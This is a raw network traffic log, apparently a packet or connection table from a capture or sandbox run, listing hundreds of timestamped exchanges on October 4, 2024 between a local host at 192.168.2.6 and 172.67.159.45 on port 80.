Oct 4, 2024 04:28:04.773520947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773534060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773542881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773565054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773565054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773585081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773614883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773626089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773631096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773655891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773672104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773683071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773693085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773720980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773747921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773749113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773758888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773768902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773780107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773789883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773802042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773816109 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773839951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773858070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773869038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773879051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773890018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773910046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773915052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773925066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773936033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773945093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773947954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773971081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773998022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774024010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774035931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774045944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774056911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774066925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774077892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774105072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774327040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774379015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774384975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774396896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774435043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774461031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774471998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774482012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774492025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774502993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774513006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774538040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774559975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774619102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774630070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774646997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774657011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774668932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774678946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774679899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774691105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774707079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.774710894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774735928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.774756908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.776444912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776482105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776492119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776546001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776556969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776560068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.776567936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776595116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776596069 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.776607037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.776619911 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.776648998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.856713057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856726885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856765032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856775999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856785059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856796026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856801033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.856806040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856817961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856828928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856839895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856848955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.856852055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856863022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856873035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.856874943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.856894970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.856914997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.857192039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.857247114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.863789082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863831997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863843918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863869905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.863903046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.863905907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863919020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863930941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863957882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.863979101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.863986969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.863996983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864038944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864512920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864562988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864572048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864588022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864598989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864609003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864625931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864651918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864712000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864723921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864734888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864743948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864754915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864763975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864772081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864795923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864815950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864830971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864842892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864854097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864865065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864875078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.864877939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.864917040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865371943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865402937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865411997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865417957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865456104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865483046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865494013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865504980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865516901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865537882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865550041 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865572929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865585089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865603924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865628004 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865650892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865653038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865663052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865708113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865792990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865806103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865817070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865833044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865839958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865845919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865856886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865876913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865905046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865910053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865916967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865927935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865940094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.865957022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.865974903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866086006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866096973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866107941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866118908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866131067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866133928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866142035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866153955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866157055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866183043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866211891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866219997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866230965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866240978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866267920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866269112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866280079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866288900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866300106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866301060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866312027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866339922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866374969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866472960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866482973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866492987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866525888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866527081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866539001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866549969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866555929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866561890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866573095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866580009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866585016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866616964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866631031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866636992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866683006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866739035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866755962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866766930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866777897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866786957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866789103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866801977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866811991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866811991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866839886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866851091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866868019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866879940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866918087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866923094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866934061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866945028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866955996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866962910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.866966963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.866978884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867000103 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867034912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867156029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867165089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867176056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867187023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867197037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867208004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867213011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867218971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867230892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867238998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867254019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867269039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867275953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867316961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867369890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867381096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867396116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867407084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867418051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867424965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867434978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.867443085 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867460966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.867475033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.868968010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869031906 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869040966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869051933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869064093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869075060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869083881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869103909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869117975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869127989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869133949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869144917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.869168997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869168997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.869187117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949305058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949325085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949333906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949384928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949429989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949588060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949598074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949608088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949618101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949637890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949665070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949666023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949675083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949685097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949695110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949704885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949716091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949738026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949754953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949835062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949845076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949855089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.949883938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.949913979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.956474066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956485033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956494093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956509113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956517935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956527948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956537962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956552982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.956602097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.956909895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.956959009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957072020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957081079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957091093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957099915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957123995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957149982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957159042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957161903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957169056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957176924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957186937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957196951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957200050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957217932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957237005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957295895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957307100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957320929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957330942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.957343102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957364082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.957393885 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958069086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958116055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958118916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958129883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958153963 CEST	80	49740	172.67.159.45	192.168.2.6
